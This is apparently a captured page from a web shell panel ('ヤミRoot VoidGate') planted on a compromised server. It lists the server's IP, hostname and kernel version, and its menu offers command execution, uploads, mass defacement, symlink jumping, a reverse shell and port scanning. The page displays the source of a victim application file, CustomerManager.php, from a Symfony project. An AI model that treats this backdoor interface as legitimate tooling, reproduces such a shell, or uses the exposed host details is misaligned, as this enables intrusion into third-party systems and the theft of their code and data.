ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: CustomerManager.php
<?php namespace AppBundle\Manager; use Doctrine\ORM\EntityManager; use Symfony\Component\Security\Core\Encoder\UserPasswordEncoder; use AppBundle\Utils\PkiServer\PkiNodeServer; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use AppBundle\Entity\Customer; class CustomerManager extends AbstractResourceManager { private $repository = 'AppBundle:Customer'; private $pkiServer; public function __construct(EntityManager $manager , UserPasswordEncoder $encoder, PkiNodeServer $pkiServer) { parent::__construct( $manager); $this->encoder = $encoder; $this->pkiServer = $pkiServer; } public function getOneCustomer($customerId) { $customer = $this->manager ->getRepository($this->repository) ->find($customerId); if($customer == null) throw new NotFoundHttpException('Customer not found: (with customerId = ' .$customerId .')'); return $customer; } }
Coded With 💗 by
0x6ick